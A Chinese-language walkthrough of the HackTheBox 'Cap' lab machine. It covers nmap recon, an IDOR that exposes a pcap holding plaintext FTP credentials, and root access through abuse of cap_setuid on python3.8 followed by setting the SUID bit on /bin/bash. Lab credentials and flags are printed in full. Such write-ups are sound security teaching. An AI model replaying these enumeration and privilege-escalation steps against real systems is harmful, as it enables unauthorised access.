<h1>Machine - Cap</h1>
<blockquote>
<a href="https://app.hackthebox.com/machines/Cap">https://app.hackthebox.com/machines/Cap</a> | <code>Linux</code> | <code>Easy</code>
</blockquote>
<img src="/post-images/HackTheBoxMachine%20-%20Cap/image.png" alt="image.png">
大名鼎鼎的<code>Cap</code>，新手关
<h2>Recon</h2>
<code>nmap</code>端口扫描
<pre><code class="hljs language-bash">➜ Cap nmap -sT -min-rate 5000 10.10.10.245 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-11 12:24 CST
Nmap scan report for 10.10.10.245
Host is up (0.072s latency).
Not shown: 701 closed tcp ports (conn-refused), 296 filtered tcp ports (no-response)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 0.81 seconds
</code></pre>
<pre><code class="hljs language-bash">➜ Cap nmap -sT -A -p 21,22,80 10.10.10.245 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-11 12:24 CST
Nmap scan report for 10.10.10.245
Host is up (0.12s latency).

PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
| 256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_ 256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open http Gunicorn
|_http-title: Security Dashboard
|_http-server-header: gunicorn
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using proto 1/icmp)
HOP RTT ADDRESS
1 110.57 ms 10.10.16.1
2 55.69 ms 10.10.10.245

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.50 seconds
</code></pre>
有<code>FTP</code>服务的存在，我们首先枚举<code>FTP</code> ，但是并不支持匿名用户访问
<pre><code class="hljs language-bash">➜ Cap ftp 10.10.10.245
Connected to 10.10.10.245.
220 (vsFTPd 3.0.3)
Name (10.10.10.245:root): anonymous
331 Please specify the password.
Password: 
530 Login incorrect.
ftp: Login failed
</code></pre>
访问 <code>HTTP</code> ，一个后台管理的模板
<img src="/post-images/HackTheBoxMachine%20-%20Cap/image1.png" alt="image.png">
有一些很有趣的功能
在 <code>/data/3</code> 中能下载一个 <code>pcap</code>文件
<code>/ip</code> 能看到<code>ip add</code> 命令执行的结果
<img src="/post-images/HackTheBoxMachine%20-%20Cap/image2.png" alt="image.png">
<code>/netstat</code> 中能发现端口和进程信息
<img src="/post-images/HackTheBoxMachine%20-%20Cap/image3.png" alt="image.png">
发现了一个有趣的点 <code>/data/x</code> 是会增加的，能观察到最大是到<code>9</code>
<img src="/post-images/HackTheBoxMachine%20-%20Cap/image4.png" alt="image.png">
<h2>IDOR - 不安全的直接对象引用</h2>
下载的<code>pcap</code>文件貌似是一段时间内通过的流量，我们一直<code>ping</code> ，等待它更新，更新后我们将<code>pcap</code>文件下载下来打开，能确定就是它捕获的流量
<img src="/post-images/HackTheBoxMachine%20-%20Cap/image5.png" alt="image.png">
可以尝试一直下载 <code>pcap</code> 文件，捕捉下载时的流量
<pre><code class="hljs language-bash">➜ Cap for i in {0..9};do curl 10.10.10.245/download/${i} --output ${i}.pcap;sleep 1;done
</code></pre>
<img src="/post-images/HackTheBoxMachine%20-%20Cap/image6.png" alt="image.png">
当我们分析到<code>0.pcap</code>文件的时候，能发现捕捉到了<code>FTP</code>的包，这在其他<code>>1.pacp</code>的数据包中是没有的
所以这里出现了应用逻辑上的错误，敏感信息泄露 (Sensitive Information Disclosure)，不安全的直接对象引用 (Insecure Direct Object Reference - IDOR)
并且后端代码中可能是：
<pre><code class="hljs language-bash">def download_file(i):
 # 当 i=0 时，有一个特殊处理，可能用于调试或测试
 if i == 0:
 file_path = "/var/log/debug/ftp_capture.pcap" # 指向了一个开发/运维人员留下的调试文件
 else:
 # 正常逻辑
 file_path = f"/var/www/downloads/file_{i}.data"
 # 检查文件是否存在并返回给用户
 if file_exists(file_path):
 return send_file(file_path)
 else:
 return "File not found"
</code></pre>
然后我们得到了它
并且<code>FTP</code>数据包中带有<code>nathan</code>用户的凭据，<code>nathan:Buck3tH4TF0RM3!</code>
<img src="/post-images/HackTheBoxMachine%20-%20Cap/image7.png" alt="image.png">
凭据可以进去到 <code>FTP</code>
<pre><code class="hljs language-bash">➜ Cap ftp 10.10.10.245 
Connected to 10.10.10.245.
220 (vsFTPd 3.0.3)
Name (10.10.10.245:root): nathan
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||24592|)
150 Here comes the directory listing.
-rw-rw-r-- 1 1001 1001 408 Jun 11 04:18 index.html
drwxr-xr-x 3 1001 1001 4096 Jun 11 04:28 snap
-r-------- 1 1001 1001 33 Jun 10 19:39 user.txt
226 Directory send OK.
</code></pre>
也可以进行 <code>SSH</code> 登录
<img src="/post-images/HackTheBoxMachine%20-%20Cap/image8.png" alt="image.png">
当前家目录下可以读取<code>user.txt</code>
<pre><code class="hljs language-bash">nathan@cap:~$ cat user.txt 
c5a3b7e60be43d07acb3580714228ee7
</code></pre>
<h2>权限提升</h2>
运行<code>Web</code>的<code>app.py</code> 里面的信息很有趣，<code>setuid(0)</code>
<img src="/post-images/HackTheBoxMachine%20-%20Cap/image9.png" alt="image.png">
但是我们可以注意到是以<code>nathan</code>权限运行的，那么<code>setuid(0)</code> 要怎么才能有效呢？
<pre><code class="hljs language-bash">nathan@cap:/var/www/html$ ls -al
total 32
drwxr-xr-x 6 nathan nathan 4096 Jun 11 09:47 .
drwxr-xr-x 3 root root 4096 May 23 2021 ..
drwxr-xr-x 2 nathan nathan 4096 May 27 2021 __pycache__
-rw-r--r-- 1 nathan nathan 4267 Jun 11 09:43 app.py
drwxr-xr-x 6 root root 4096 May 23 2021 static
drwxr-xr-x 2 root root 4096 May 23 2021 templates
drwxr-xr-x 2 root root 4096 Jun 11 09:42 upload
</code></pre>
我们直接运行<code>python</code> ，直接就能拿到 <code>root</code> 权限了
<pre><code class="hljs language-bash">nathan@cap:/var/www/html$ python3
python3 python3-config python3.8 python3.8-config 
nathan@cap:/var/www/html$ python3.8
Python 3.8.5 (default, Jan 27 2021, 15:41:15) 
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import os;os.setuid(0)
>>> os.system(id)
Traceback (most recent call last):
 File "&#x3C;stdin>", line 1, in &#x3C;module>
TypeError: expected str, bytes or os.PathLike object, not builtin_function_or_method
>>> os.system('id')
uid=0(root) gid=1001(nathan) groups=1001(nathan)
0
>>> os.system('chmod +s /bin/bash')
0
</code></pre>
<pre><code class="hljs language-bash">bash-5.0# cat root.txt 
6b21801e0d9e7354cfa2de802cf89dcd
</code></pre>
通过 <code>getcap</code> 命令也能知道为什么会有该权限
<pre><code class="hljs language-bash">nathan@cap:/var/www/html$ which python3
/usr/bin/python3
nathan@cap:/var/www/html$ which python3.8
/usr/bin/python3.8
nathan@cap:/var/www/html$ getcap /usr/bin/python3
nathan@cap:/var/www/html$ getcap /usr/bin/python3.8
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
</code></pre>

HackTheBox - Machine - Cap

HackTheBox - Machine - Developer